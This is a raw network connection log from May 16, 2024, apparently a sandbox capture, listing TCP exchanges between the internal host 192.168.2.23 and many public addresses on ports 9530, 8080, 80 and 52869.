May 16, 2024 16:38:51.996743917 CEST	9530	55095	123.198.166.188	192.168.2.23
May 16, 2024 16:38:51.996752977 CEST	9530	55095	58.89.160.57	192.168.2.23
May 16, 2024 16:38:51.996762991 CEST	9530	55095	125.33.175.32	192.168.2.23
May 16, 2024 16:38:51.996762991 CEST	55095	9530	192.168.2.23	181.235.36.230
May 16, 2024 16:38:51.996771097 CEST	9530	55095	175.223.253.87	192.168.2.23
May 16, 2024 16:38:51.996769905 CEST	55095	9530	192.168.2.23	123.198.166.188
May 16, 2024 16:38:51.996781111 CEST	9530	55095	83.229.87.149	192.168.2.23
May 16, 2024 16:38:51.996784925 CEST	55095	9530	192.168.2.23	58.89.160.57
May 16, 2024 16:38:51.996789932 CEST	55095	9530	192.168.2.23	115.18.245.40
May 16, 2024 16:38:51.996789932 CEST	55095	9530	192.168.2.23	128.116.97.247
May 16, 2024 16:38:51.996790886 CEST	9530	55095	32.132.55.183	192.168.2.23
May 16, 2024 16:38:51.996789932 CEST	55095	9530	192.168.2.23	154.116.79.143
May 16, 2024 16:38:51.996800900 CEST	9530	55095	144.241.71.74	192.168.2.23
May 16, 2024 16:38:51.996804953 CEST	9530	55095	178.222.96.249	192.168.2.23
May 16, 2024 16:38:51.996809006 CEST	9530	55095	89.11.13.2	192.168.2.23
May 16, 2024 16:38:51.996817112 CEST	9530	55095	147.136.124.144	192.168.2.23
May 16, 2024 16:38:51.996820927 CEST	55095	9530	192.168.2.23	32.132.55.183
May 16, 2024 16:38:51.996826887 CEST	9530	55095	130.208.9.17	192.168.2.23
May 16, 2024 16:38:51.996835947 CEST	9530	55095	125.58.210.224	192.168.2.23
May 16, 2024 16:38:51.996835947 CEST	55095	9530	192.168.2.23	125.33.175.32
May 16, 2024 16:38:51.996835947 CEST	55095	9530	192.168.2.23	175.223.253.87
May 16, 2024 16:38:51.996835947 CEST	55095	9530	192.168.2.23	178.222.96.249
May 16, 2024 16:38:51.996838093 CEST	55095	9530	192.168.2.23	144.241.71.74
May 16, 2024 16:38:51.996838093 CEST	55095	9530	192.168.2.23	83.229.87.149
May 16, 2024 16:38:51.996849060 CEST	9530	55095	12.195.42.160	192.168.2.23
May 16, 2024 16:38:51.996859074 CEST	9530	55095	43.161.62.226	192.168.2.23
May 16, 2024 16:38:51.996861935 CEST	55095	9530	192.168.2.23	125.58.210.224
May 16, 2024 16:38:51.996867895 CEST	9530	55095	133.21.0.70	192.168.2.23
May 16, 2024 16:38:51.996874094 CEST	55095	9530	192.168.2.23	12.195.42.160
May 16, 2024 16:38:51.996877909 CEST	9530	55095	184.209.97.174	192.168.2.23
May 16, 2024 16:38:51.996882915 CEST	55095	9530	192.168.2.23	130.208.9.17
May 16, 2024 16:38:51.996885061 CEST	55095	9530	192.168.2.23	147.136.124.144
May 16, 2024 16:38:51.996887922 CEST	9530	55095	66.153.41.54	192.168.2.23
May 16, 2024 16:38:51.996891975 CEST	55095	9530	192.168.2.23	89.11.13.2
May 16, 2024 16:38:51.996891975 CEST	55095	9530	192.168.2.23	43.161.62.226
May 16, 2024 16:38:51.996897936 CEST	9530	55095	211.114.6.108	192.168.2.23
May 16, 2024 16:38:51.996907949 CEST	9530	55095	173.127.178.247	192.168.2.23
May 16, 2024 16:38:51.996913910 CEST	55095	9530	192.168.2.23	184.209.97.174
May 16, 2024 16:38:51.996917009 CEST	9530	55095	131.0.10.49	192.168.2.23
May 16, 2024 16:38:51.996923923 CEST	55095	9530	192.168.2.23	211.114.6.108
May 16, 2024 16:38:51.996927023 CEST	9530	55095	188.140.178.146	192.168.2.23
May 16, 2024 16:38:51.996937990 CEST	9530	55095	130.156.166.133	192.168.2.23
May 16, 2024 16:38:51.996937990 CEST	55095	9530	192.168.2.23	66.153.41.54
May 16, 2024 16:38:51.996941090 CEST	55095	9530	192.168.2.23	133.21.0.70
May 16, 2024 16:38:51.996941090 CEST	55095	9530	192.168.2.23	173.127.178.247
May 16, 2024 16:38:51.996946096 CEST	55095	9530	192.168.2.23	131.0.10.49
May 16, 2024 16:38:51.996948957 CEST	9530	55095	153.203.120.33	192.168.2.23
May 16, 2024 16:38:51.996958971 CEST	9530	55095	46.48.216.24	192.168.2.23
May 16, 2024 16:38:51.996967077 CEST	55095	9530	192.168.2.23	188.140.178.146
May 16, 2024 16:38:51.996968985 CEST	9530	55095	152.29.10.222	192.168.2.23
May 16, 2024 16:38:51.996978045 CEST	55095	9530	192.168.2.23	153.203.120.33
May 16, 2024 16:38:51.996978998 CEST	9530	55095	9.102.133.18	192.168.2.23
May 16, 2024 16:38:51.996979952 CEST	55095	9530	192.168.2.23	130.156.166.133
May 16, 2024 16:38:51.996989012 CEST	9530	55095	196.69.241.252	192.168.2.23
May 16, 2024 16:38:51.996990919 CEST	55095	9530	192.168.2.23	46.48.216.24
May 16, 2024 16:38:51.996998072 CEST	9530	55095	65.249.59.92	192.168.2.23
May 16, 2024 16:38:51.997008085 CEST	9530	55095	125.97.9.158	192.168.2.23
May 16, 2024 16:38:51.997009993 CEST	55095	9530	192.168.2.23	152.29.10.222
May 16, 2024 16:38:51.997015953 CEST	9530	55095	23.137.26.36	192.168.2.23
May 16, 2024 16:38:51.997023106 CEST	55095	9530	192.168.2.23	196.69.241.252
May 16, 2024 16:38:51.997025013 CEST	9530	55095	84.55.188.244	192.168.2.23
May 16, 2024 16:38:51.997029066 CEST	55095	9530	192.168.2.23	9.102.133.18
May 16, 2024 16:38:51.997030020 CEST	9530	55095	216.92.251.83	192.168.2.23
May 16, 2024 16:38:51.997033119 CEST	55095	9530	192.168.2.23	125.97.9.158
May 16, 2024 16:38:51.997034073 CEST	55095	9530	192.168.2.23	65.249.59.92
May 16, 2024 16:38:51.997040987 CEST	9530	55095	91.209.115.159	192.168.2.23
May 16, 2024 16:38:51.997045994 CEST	55095	9530	192.168.2.23	23.137.26.36
May 16, 2024 16:38:51.997051954 CEST	9530	55095	221.125.28.65	192.168.2.23
May 16, 2024 16:38:51.997061014 CEST	55095	9530	192.168.2.23	84.55.188.244
May 16, 2024 16:38:51.997061968 CEST	9530	55095	5.31.213.66	192.168.2.23
May 16, 2024 16:38:51.997065067 CEST	55095	9530	192.168.2.23	216.92.251.83
May 16, 2024 16:38:51.997071981 CEST	9530	55095	14.31.217.116	192.168.2.23
May 16, 2024 16:38:51.997076988 CEST	55095	9530	192.168.2.23	221.125.28.65
May 16, 2024 16:38:51.997081995 CEST	9530	55095	126.240.38.125	192.168.2.23
May 16, 2024 16:38:51.997088909 CEST	55095	9530	192.168.2.23	91.209.115.159
May 16, 2024 16:38:51.997093916 CEST	9530	55095	62.0.208.199	192.168.2.23
May 16, 2024 16:38:51.997103930 CEST	55095	9530	192.168.2.23	5.31.213.66
May 16, 2024 16:38:51.997104883 CEST	55095	9530	192.168.2.23	14.31.217.116
May 16, 2024 16:38:51.997106075 CEST	9530	55095	95.22.232.94	192.168.2.23
May 16, 2024 16:38:51.997113943 CEST	9530	55095	5.234.32.182	192.168.2.23
May 16, 2024 16:38:51.997117043 CEST	55095	9530	192.168.2.23	126.240.38.125
May 16, 2024 16:38:51.997123003 CEST	55095	9530	192.168.2.23	62.0.208.199
May 16, 2024 16:38:51.997123957 CEST	9530	55095	216.5.0.103	192.168.2.23
May 16, 2024 16:38:51.997131109 CEST	55095	9530	192.168.2.23	95.22.232.94
May 16, 2024 16:38:51.997134924 CEST	9530	55095	105.93.74.117	192.168.2.23
May 16, 2024 16:38:51.997143984 CEST	9530	55095	202.206.90.176	192.168.2.23
May 16, 2024 16:38:51.997149944 CEST	55095	9530	192.168.2.23	216.5.0.103
May 16, 2024 16:38:51.997152090 CEST	9530	55095	192.55.40.62	192.168.2.23
May 16, 2024 16:38:51.997162104 CEST	9530	55095	116.10.153.21	192.168.2.23
May 16, 2024 16:38:51.997170925 CEST	9530	55095	68.196.198.249	192.168.2.23
May 16, 2024 16:38:51.997179985 CEST	9530	55095	181.3.246.88	192.168.2.23
May 16, 2024 16:38:51.997188091 CEST	9530	55095	169.90.11.75	192.168.2.23
May 16, 2024 16:38:51.997189999 CEST	55095	9530	192.168.2.23	105.93.74.117
May 16, 2024 16:38:51.997189999 CEST	55095	9530	192.168.2.23	192.55.40.62
May 16, 2024 16:38:51.997189999 CEST	55095	9530	192.168.2.23	116.10.153.21
May 16, 2024 16:38:51.997200012 CEST	9530	55095	31.93.223.39	192.168.2.23
May 16, 2024 16:38:51.997209072 CEST	9530	55095	89.97.69.96	192.168.2.23
May 16, 2024 16:38:51.997219086 CEST	9530	55095	191.240.31.155	192.168.2.23
May 16, 2024 16:38:51.997219086 CEST	55095	9530	192.168.2.23	169.90.11.75
May 16, 2024 16:38:51.997236013 CEST	55095	9530	192.168.2.23	68.196.198.249
May 16, 2024 16:38:51.997236013 CEST	55095	9530	192.168.2.23	181.3.246.88
May 16, 2024 16:38:51.997236013 CEST	55095	9530	192.168.2.23	89.97.69.96
May 16, 2024 16:38:51.997250080 CEST	55095	9530	192.168.2.23	191.240.31.155
May 16, 2024 16:38:51.997253895 CEST	55095	9530	192.168.2.23	5.234.32.182
May 16, 2024 16:38:51.997253895 CEST	55095	9530	192.168.2.23	202.206.90.176
May 16, 2024 16:38:51.997279882 CEST	55095	9530	192.168.2.23	31.93.223.39
May 16, 2024 16:38:51.997515917 CEST	9530	55095	176.88.148.213	192.168.2.23
May 16, 2024 16:38:51.997534037 CEST	9530	55095	73.26.73.100	192.168.2.23
May 16, 2024 16:38:51.997543097 CEST	9530	55095	204.136.252.170	192.168.2.23
May 16, 2024 16:38:51.997553110 CEST	9530	55095	165.27.181.58	192.168.2.23
May 16, 2024 16:38:51.997561932 CEST	9530	55095	144.235.25.52	192.168.2.23
May 16, 2024 16:38:51.997567892 CEST	55095	9530	192.168.2.23	176.88.148.213
May 16, 2024 16:38:51.997571945 CEST	9530	55095	103.131.237.167	192.168.2.23
May 16, 2024 16:38:51.997579098 CEST	55095	9530	192.168.2.23	73.26.73.100
May 16, 2024 16:38:51.997582912 CEST	9530	55095	69.130.164.1	192.168.2.23
May 16, 2024 16:38:51.997591972 CEST	9530	55095	38.68.187.239	192.168.2.23
May 16, 2024 16:38:51.997595072 CEST	55095	9530	192.168.2.23	165.27.181.58
May 16, 2024 16:38:51.997596025 CEST	9530	55095	188.24.214.235	192.168.2.23
May 16, 2024 16:38:51.997606039 CEST	55095	9530	192.168.2.23	204.136.252.170
May 16, 2024 16:38:51.997606993 CEST	9530	55095	92.192.139.26	192.168.2.23
May 16, 2024 16:38:51.997606993 CEST	55095	9530	192.168.2.23	103.131.237.167
May 16, 2024 16:38:51.997606993 CEST	55095	9530	192.168.2.23	144.235.25.52
May 16, 2024 16:38:51.997612000 CEST	9530	55095	170.208.17.69	192.168.2.23
May 16, 2024 16:38:51.997622013 CEST	9530	55095	88.211.167.138	192.168.2.23
May 16, 2024 16:38:51.997627020 CEST	55095	9530	192.168.2.23	69.130.164.1
May 16, 2024 16:38:51.997639894 CEST	9530	55095	153.141.106.22	192.168.2.23
May 16, 2024 16:38:51.997647047 CEST	55095	9530	192.168.2.23	38.68.187.239
May 16, 2024 16:38:51.997649908 CEST	9530	55095	191.255.102.205	192.168.2.23
May 16, 2024 16:38:51.997653961 CEST	55095	9530	192.168.2.23	92.192.139.26
May 16, 2024 16:38:51.997654915 CEST	55095	9530	192.168.2.23	188.24.214.235
May 16, 2024 16:38:51.997654915 CEST	55095	9530	192.168.2.23	170.208.17.69
May 16, 2024 16:38:51.997659922 CEST	9530	55095	108.10.21.27	192.168.2.23
May 16, 2024 16:38:51.997668982 CEST	9530	55095	150.63.252.33	192.168.2.23
May 16, 2024 16:38:51.997669935 CEST	55095	9530	192.168.2.23	88.211.167.138
May 16, 2024 16:38:51.997677088 CEST	9530	55095	49.88.232.72	192.168.2.23
May 16, 2024 16:38:51.997684002 CEST	55095	9530	192.168.2.23	191.255.102.205
May 16, 2024 16:38:51.997689009 CEST	9530	55095	31.70.215.0	192.168.2.23
May 16, 2024 16:38:51.997689009 CEST	55095	9530	192.168.2.23	153.141.106.22
May 16, 2024 16:38:51.997700930 CEST	9530	55095	117.95.159.125	192.168.2.23
May 16, 2024 16:38:51.997700930 CEST	55095	9530	192.168.2.23	108.10.21.27
May 16, 2024 16:38:51.997700930 CEST	55095	9530	192.168.2.23	150.63.252.33
May 16, 2024 16:38:51.997710943 CEST	9530	55095	155.211.90.179	192.168.2.23
May 16, 2024 16:38:51.997711897 CEST	55095	9530	192.168.2.23	49.88.232.72
May 16, 2024 16:38:51.997720957 CEST	9530	55095	201.60.9.174	192.168.2.23
May 16, 2024 16:38:51.997725964 CEST	55095	9530	192.168.2.23	31.70.215.0
May 16, 2024 16:38:51.997730017 CEST	9530	55095	196.1.80.219	192.168.2.23
May 16, 2024 16:38:51.997734070 CEST	9530	55095	187.116.208.187	192.168.2.23
May 16, 2024 16:38:51.997741938 CEST	9530	55095	78.16.206.122	192.168.2.23
May 16, 2024 16:38:51.997751951 CEST	9530	55095	73.173.142.86	192.168.2.23
May 16, 2024 16:38:51.997760057 CEST	55095	9530	192.168.2.23	117.95.159.125
May 16, 2024 16:38:51.997761011 CEST	9530	55095	180.85.126.48	192.168.2.23
May 16, 2024 16:38:51.997770071 CEST	9530	55095	222.232.155.106	192.168.2.23
May 16, 2024 16:38:51.997775078 CEST	55095	9530	192.168.2.23	155.211.90.179
May 16, 2024 16:38:51.997776031 CEST	55095	9530	192.168.2.23	201.60.9.174
May 16, 2024 16:38:51.997776031 CEST	55095	9530	192.168.2.23	196.1.80.219
May 16, 2024 16:38:51.997776031 CEST	55095	9530	192.168.2.23	187.116.208.187
May 16, 2024 16:38:51.997781038 CEST	9530	55095	93.252.136.0	192.168.2.23
May 16, 2024 16:38:51.997793913 CEST	55095	9530	192.168.2.23	78.16.206.122
May 16, 2024 16:38:51.997793913 CEST	55095	9530	192.168.2.23	73.173.142.86
May 16, 2024 16:38:51.997793913 CEST	55095	9530	192.168.2.23	180.85.126.48
May 16, 2024 16:38:51.997807026 CEST	55095	9530	192.168.2.23	222.232.155.106
May 16, 2024 16:38:51.997803926 CEST	55095	9530	192.168.2.23	93.252.136.0
May 16, 2024 16:38:52.002279997 CEST	8080	54936	52.0.66.251	192.168.2.23
May 16, 2024 16:38:52.002319098 CEST	54936	8080	192.168.2.23	52.0.66.251
May 16, 2024 16:38:52.297182083 CEST	55384	8080	192.168.2.23	201.134.210.250
May 16, 2024 16:38:52.306363106 CEST	56574	8080	192.168.2.23	189.135.247.237
May 16, 2024 16:38:52.308262110 CEST	44352	8080	192.168.2.23	189.134.87.183
May 16, 2024 16:38:52.310982943 CEST	43038	8080	192.168.2.23	200.87.19.221
May 16, 2024 16:38:52.311806917 CEST	35800	8080	192.168.2.23	189.120.15.55
May 16, 2024 16:38:52.312707901 CEST	42636	8080	192.168.2.23	187.28.226.10
May 16, 2024 16:38:52.316356897 CEST	8080	55384	201.134.210.250	192.168.2.23
May 16, 2024 16:38:52.316427946 CEST	55384	8080	192.168.2.23	201.134.210.250
May 16, 2024 16:38:52.325608015 CEST	55384	8080	192.168.2.23	201.134.210.250
May 16, 2024 16:38:52.368917942 CEST	8080	56574	189.135.247.237	192.168.2.23
May 16, 2024 16:38:52.368932962 CEST	8080	44352	189.134.87.183	192.168.2.23
May 16, 2024 16:38:52.368948936 CEST	8080	43038	200.87.19.221	192.168.2.23
May 16, 2024 16:38:52.368958950 CEST	8080	35800	189.120.15.55	192.168.2.23
May 16, 2024 16:38:52.368968010 CEST	8080	42636	187.28.226.10	192.168.2.23
May 16, 2024 16:38:52.369014978 CEST	56574	8080	192.168.2.23	189.135.247.237
May 16, 2024 16:38:52.369039059 CEST	35800	8080	192.168.2.23	189.120.15.55
May 16, 2024 16:38:52.369046926 CEST	42636	8080	192.168.2.23	187.28.226.10
May 16, 2024 16:38:52.369101048 CEST	44352	8080	192.168.2.23	189.134.87.183
May 16, 2024 16:38:52.369113922 CEST	43038	8080	192.168.2.23	200.87.19.221
May 16, 2024 16:38:52.373722076 CEST	8080	55384	201.134.210.250	192.168.2.23
May 16, 2024 16:38:52.373774052 CEST	55384	8080	192.168.2.23	201.134.210.250
May 16, 2024 16:38:52.398746014 CEST	56574	8080	192.168.2.23	189.135.247.237
May 16, 2024 16:38:52.401356936 CEST	43038	8080	192.168.2.23	200.87.19.221
May 16, 2024 16:38:52.402070999 CEST	44352	8080	192.168.2.23	189.134.87.183
May 16, 2024 16:38:52.402833939 CEST	42636	8080	192.168.2.23	187.28.226.10
May 16, 2024 16:38:52.403630018 CEST	35800	8080	192.168.2.23	189.120.15.55
May 16, 2024 16:38:52.424905062 CEST	8080	44352	189.134.87.183	192.168.2.23
May 16, 2024 16:38:52.424923897 CEST	8080	43038	200.87.19.221	192.168.2.23
May 16, 2024 16:38:52.425031900 CEST	43038	8080	192.168.2.23	200.87.19.221
May 16, 2024 16:38:52.425081015 CEST	44352	8080	192.168.2.23	189.134.87.183
May 16, 2024 16:38:52.429706097 CEST	8080	43038	200.87.19.221	192.168.2.23
May 16, 2024 16:38:52.429718018 CEST	8080	44352	189.134.87.183	192.168.2.23
May 16, 2024 16:38:52.480920076 CEST	8080	56574	189.135.247.237	192.168.2.23
May 16, 2024 16:38:52.480942965 CEST	8080	42636	187.28.226.10	192.168.2.23
May 16, 2024 16:38:52.480959892 CEST	8080	35800	189.120.15.55	192.168.2.23
May 16, 2024 16:38:52.481030941 CEST	42636	8080	192.168.2.23	187.28.226.10
May 16, 2024 16:38:52.481031895 CEST	56574	8080	192.168.2.23	189.135.247.237
May 16, 2024 16:38:52.481034040 CEST	35800	8080	192.168.2.23	189.120.15.55
May 16, 2024 16:38:52.622304916 CEST	54394	80	192.168.2.23	183.135.247.237
May 16, 2024 16:38:52.625564098 CEST	49230	80	192.168.2.23	42.134.210.250
May 16, 2024 16:38:52.628654957 CEST	56502	80	192.168.2.23	113.134.87.183
May 16, 2024 16:38:52.631233931 CEST	43198	80	192.168.2.23	91.87.19.221
May 16, 2024 16:38:52.633934975 CEST	57956	80	192.168.2.23	2.120.15.55
May 16, 2024 16:38:52.635987997 CEST	53048	80	192.168.2.23	145.28.226.10
May 16, 2024 16:38:52.657289982 CEST	80	54394	183.135.247.237	192.168.2.23
May 16, 2024 16:38:52.657357931 CEST	54394	80	192.168.2.23	183.135.247.237
May 16, 2024 16:38:52.662167072 CEST	80	49230	42.134.210.250	192.168.2.23
May 16, 2024 16:38:52.662179947 CEST	80	56502	113.134.87.183	192.168.2.23
May 16, 2024 16:38:52.662189007 CEST	80	43198	91.87.19.221	192.168.2.23
May 16, 2024 16:38:52.662199020 CEST	80	57956	2.120.15.55	192.168.2.23
May 16, 2024 16:38:52.662204981 CEST	80	53048	145.28.226.10	192.168.2.23
May 16, 2024 16:38:52.662220955 CEST	49230	80	192.168.2.23	42.134.210.250
May 16, 2024 16:38:52.662230968 CEST	56502	80	192.168.2.23	113.134.87.183
May 16, 2024 16:38:52.662255049 CEST	57956	80	192.168.2.23	2.120.15.55
May 16, 2024 16:38:52.662282944 CEST	43198	80	192.168.2.23	91.87.19.221
May 16, 2024 16:38:52.662311077 CEST	53048	80	192.168.2.23	145.28.226.10
May 16, 2024 16:38:52.667090893 CEST	80	54394	183.135.247.237	192.168.2.23
May 16, 2024 16:38:52.669895887 CEST	54394	80	192.168.2.23	183.135.247.237
May 16, 2024 16:38:52.671864033 CEST	80	49230	42.134.210.250	192.168.2.23
May 16, 2024 16:38:52.673894882 CEST	49230	80	192.168.2.23	42.134.210.250
May 16, 2024 16:38:52.676594019 CEST	80	56502	113.134.87.183	192.168.2.23
May 16, 2024 16:38:52.676604033 CEST	80	57956	2.120.15.55	192.168.2.23
May 16, 2024 16:38:52.676614046 CEST	80	43198	91.87.19.221	192.168.2.23
May 16, 2024 16:38:52.676628113 CEST	80	53048	145.28.226.10	192.168.2.23
May 16, 2024 16:38:52.677894115 CEST	53048	80	192.168.2.23	145.28.226.10
May 16, 2024 16:38:52.677902937 CEST	57956	80	192.168.2.23	2.120.15.55
May 16, 2024 16:38:52.677911997 CEST	43198	80	192.168.2.23	91.87.19.221
May 16, 2024 16:38:52.677911997 CEST	56502	80	192.168.2.23	113.134.87.183
May 16, 2024 16:38:52.697562933 CEST	54394	80	192.168.2.23	183.135.247.237
May 16, 2024 16:38:52.699373007 CEST	53048	80	192.168.2.23	145.28.226.10
May 16, 2024 16:38:52.700891018 CEST	49230	80	192.168.2.23	42.134.210.250
May 16, 2024 16:38:52.702266932 CEST	43198	80	192.168.2.23	91.87.19.221
May 16, 2024 16:38:52.703614950 CEST	56502	80	192.168.2.23	113.134.87.183
May 16, 2024 16:38:52.704965115 CEST	57956	80	192.168.2.23	2.120.15.55
May 16, 2024 16:38:52.729346037 CEST	80	54394	183.135.247.237	192.168.2.23
May 16, 2024 16:38:52.755533934 CEST	80	53048	145.28.226.10	192.168.2.23
May 16, 2024 16:38:52.755547047 CEST	80	49230	42.134.210.250	192.168.2.23
May 16, 2024 16:38:52.755556107 CEST	80	43198	91.87.19.221	192.168.2.23
May 16, 2024 16:38:52.755572081 CEST	80	56502	113.134.87.183	192.168.2.23
May 16, 2024 16:38:52.755584002 CEST	80	57956	2.120.15.55	192.168.2.23
May 16, 2024 16:38:52.951488972 CEST	40756	52869	192.168.2.23	191.90.135.247
May 16, 2024 16:38:52.954370022 CEST	39512	52869	192.168.2.23	169.134.210.250
May 16, 2024 16:38:52.957000017 CEST	44896	52869	192.168.2.23	223.87.183.87
May 16, 2024 16:38:52.960495949 CEST	52869	40756	191.90.135.247	192.168.2.23
May 16, 2024 16:38:52.960510969 CEST	50792	52869	192.168.2.23	222.221.120.15
May 16, 2024 16:38:52.960552931 CEST	40756	52869	192.168.2.23	191.90.135.247
May 16, 2024 16:38:52.967531919 CEST	52869	39512	169.134.210.250	192.168.2.23
May 16, 2024 16:38:52.967542887 CEST	52869	44896	223.87.183.87	192.168.2.23
May 16, 2024 16:38:52.967605114 CEST	39512	52869	192.168.2.23	169.134.210.250
May 16, 2024 16:38:52.967626095 CEST	44896	52869	192.168.2.23	223.87.183.87
May 16, 2024 16:38:52.972496033 CEST	52869	50792	222.221.120.15	192.168.2.23
May 16, 2024 16:38:52.972507954 CEST	52869	40756	191.90.135.247	192.168.2.23
May 16, 2024 16:38:52.972603083 CEST	50792	52869	192.168.2.23	222.221.120.15
May 16, 2024 16:38:52.973854065 CEST	40756	52869	192.168.2.23	191.90.135.247
May 16, 2024 16:38:52.974384069 CEST	40756	52869	192.168.2.23	191.90.135.247
May 16, 2024 16:38:52.977277040 CEST	52869	39512	169.134.210.250	192.168.2.23
May 16, 2024 16:38:52.977853060 CEST	39512	52869	192.168.2.23	169.134.210.250
May 16, 2024 16:38:52.979527950 CEST	55095	9530	192.168.2.23	124.156.181.101
May 16, 2024 16:38:52.979527950 CEST	55095	9530	192.168.2.23	40.77.3.51
May 16, 2024 16:38:52.979536057 CEST	55095	9530	192.168.2.23	19.11.216.89
May 16, 2024 16:38:52.979537964 CEST	55095	9530	192.168.2.23	20.73.132.234
May 16, 2024 16:38:52.979537964 CEST	55095	9530	192.168.2.23	196.157.102.89
May 16, 2024 16:38:52.979542971 CEST	55095	9530	192.168.2.23	92.111.207.131
May 16, 2024 16:38:52.979542971 CEST	55095	9530	192.168.2.23	184.73.206.19
May 16, 2024 16:38:52.979549885 CEST	55095	9530	192.168.2.23	201.137.138.135
May 16, 2024 16:38:52.979549885 CEST	55095	9530	192.168.2.23	165.67.92.65
May 16, 2024 16:38:52.979558945 CEST	55095	9530	192.168.2.23	40.167.171.13
May 16, 2024 16:38:52.979574919 CEST	55095	9530	192.168.2.23	197.112.59.204
May 16, 2024 16:38:52.979576111 CEST	55095	9530	192.168.2.23	181.90.154.92
May 16, 2024 16:38:52.979583025 CEST	55095	9530	192.168.2.23	175.109.179.90
May 16, 2024 16:38:52.979592085 CEST	55095	9530	192.168.2.23	131.123.58.92
May 16, 2024 16:38:52.979593039 CEST	55095	9530	192.168.2.23	186.88.74.225
May 16, 2024 16:38:52.979599953 CEST	55095	9530	192.168.2.23	65.147.98.153
May 16, 2024 16:38:52.979599953 CEST	55095	9530	192.168.2.23	146.11.168.169
May 16, 2024 16:38:52.979599953 CEST	55095	9530	192.168.2.23	5.24.145.77
May 16, 2024 16:38:52.979599953 CEST	55095	9530	192.168.2.23	132.179.112.81
May 16, 2024 16:38:52.979605913 CEST	55095	9530	192.168.2.23	50.49.246.29
May 16, 2024 16:38:52.979609966 CEST	55095	9530	192.168.2.23	100.3.169.192
May 16, 2024 16:38:52.979609966 CEST	55095	9530	192.168.2.23	175.117.236.38
May 16, 2024 16:38:52.979609966 CEST	55095	9530	192.168.2.23	121.158.59.12
May 16, 2024 16:38:52.979614973 CEST	55095	9530	192.168.2.23	120.94.223.65
May 16, 2024 16:38:52.979617119 CEST	55095	9530	192.168.2.23	184.163.27.175
May 16, 2024 16:38:52.979619980 CEST	55095	9530	192.168.2.23	65.194.195.112
May 16, 2024 16:38:52.979619980 CEST	55095	9530	192.168.2.23	160.218.229.139
May 16, 2024 16:38:52.979633093 CEST	55095	9530	192.168.2.23	99.2.3.43
May 16, 2024 16:38:52.979633093 CEST	55095	9530	192.168.2.23	97.129.166.48
May 16, 2024 16:38:52.979643106 CEST	55095	9530	192.168.2.23	156.174.148.226
May 16, 2024 16:38:52.979645967 CEST	55095	9530	192.168.2.23	112.40.37.61
May 16, 2024 16:38:52.979645967 CEST	55095	9530	192.168.2.23	157.176.108.250
May 16, 2024 16:38:52.979645967 CEST	55095	9530	192.168.2.23	207.169.59.188
May 16, 2024 16:38:52.979646921 CEST	55095	9530	192.168.2.23	206.2.207.91
May 16, 2024 16:38:52.979650974 CEST	55095	9530	192.168.2.23	183.171.237.47
May 16, 2024 16:38:52.979650974 CEST	55095	9530	192.168.2.23	163.20.254.63
May 16, 2024 16:38:52.979652882 CEST	55095	9530	192.168.2.23	32.107.138.180
May 16, 2024 16:38:52.979652882 CEST	55095	9530	192.168.2.23	208.135.211.193
May 16, 2024 16:38:52.979664087 CEST	55095	9530	192.168.2.23	114.206.90.2
May 16, 2024 16:38:52.979664087 CEST	55095	9530	192.168.2.23	18.22.2.90
May 16, 2024 16:38:52.979665995 CEST	55095	9530	192.168.2.23	218.46.219.114
May 16, 2024 16:38:52.979667902 CEST	55095	9530	192.168.2.23	107.141.198.220
May 16, 2024 16:38:52.979669094 CEST	55095	9530	192.168.2.23	81.253.35.249
May 16, 2024 16:38:52.979669094 CEST	55095	9530	192.168.2.23	45.194.65.100
May 16, 2024 16:38:52.979670048 CEST	55095	9530	192.168.2.23	109.191.233.196
May 16, 2024 16:38:52.979682922 CEST	55095	9530	192.168.2.23	137.3.172.181
May 16, 2024 16:38:52.979685068 CEST	55095	9530	192.168.2.23	4.173.234.98
May 16, 2024 16:38:52.979685068 CEST	55095	9530	192.168.2.23	79.239.127.139
May 16, 2024 16:38:52.979685068 CEST	55095	9530	192.168.2.23	206.139.24.47
May 16, 2024 16:38:52.979686022 CEST	55095	9530	192.168.2.23	116.175.173.225
May 16, 2024 16:38:52.979685068 CEST	55095	9530	192.168.2.23	223.224.206.60
May 16, 2024 16:38:52.979696035 CEST	55095	9530	192.168.2.23	37.142.200.239
May 16, 2024 16:38:52.979702950 CEST	55095	9530	192.168.2.23	91.39.117.156
May 16, 2024 16:38:52.979702950 CEST	55095	9530	192.168.2.23	85.115.193.62
May 16, 2024 16:38:52.979703903 CEST	55095	9530	192.168.2.23	76.56.236.138
May 16, 2024 16:38:52.979708910 CEST	55095	9530	192.168.2.23	53.211.82.141
May 16, 2024 16:38:52.979707956 CEST	55095	9530	192.168.2.23	179.228.156.170
May 16, 2024 16:38:52.979708910 CEST	55095	9530	192.168.2.23	202.205.122.238
May 16, 2024 16:38:52.979707956 CEST	55095	9530	192.168.2.23	120.115.117.175
May 16, 2024 16:38:52.979724884 CEST	55095	9530	192.168.2.23	102.204.79.222
May 16, 2024 16:38:52.979734898 CEST	55095	9530	192.168.2.23	153.231.93.150
May 16, 2024 16:38:52.979734898 CEST	55095	9530	192.168.2.23	195.200.102.245
May 16, 2024 16:38:52.979737043 CEST	55095	9530	192.168.2.23	74.18.21.246
May 16, 2024 16:38:52.979737043 CEST	55095	9530	192.168.2.23	13.71.33.16
May 16, 2024 16:38:52.979734898 CEST	55095	9530	192.168.2.23	41.129.22.86
May 16, 2024 16:38:52.979734898 CEST	55095	9530	192.168.2.23	105.113.35.115
May 16, 2024 16:38:52.979744911 CEST	55095	9530	192.168.2.23	157.31.64.156
May 16, 2024 16:38:52.979748964 CEST	55095	9530	192.168.2.23	133.166.212.220
May 16, 2024 16:38:52.979748964 CEST	55095	9530	192.168.2.23	193.39.227.210
May 16, 2024 16:38:52.979748964 CEST	55095	9530	192.168.2.23	9.226.68.117
May 16, 2024 16:38:52.979758024 CEST	55095	9530	192.168.2.23	66.161.22.232
May 16, 2024 16:38:52.979768038 CEST	55095	9530	192.168.2.23	109.175.230.201
May 16, 2024 16:38:52.979768038 CEST	55095	9530	192.168.2.23	124.42.2.19
May 16, 2024 16:38:52.979768991 CEST	55095	9530	192.168.2.23	145.1.241.178
May 16, 2024 16:38:52.979768991 CEST	55095	9530	192.168.2.23	42.1.62.49
May 16, 2024 16:38:52.979768991 CEST	55095	9530	192.168.2.23	186.132.250.25
May 16, 2024 16:38:52.979768991 CEST	55095	9530	192.168.2.23	145.131.192.3
May 16, 2024 16:38:52.979769945 CEST	55095	9530	192.168.2.23	84.146.192.148
May 16, 2024 16:38:52.979768991 CEST	55095	9530	192.168.2.23	165.222.136.84
May 16, 2024 16:38:52.979773045 CEST	55095	9530	192.168.2.23	67.240.134.173
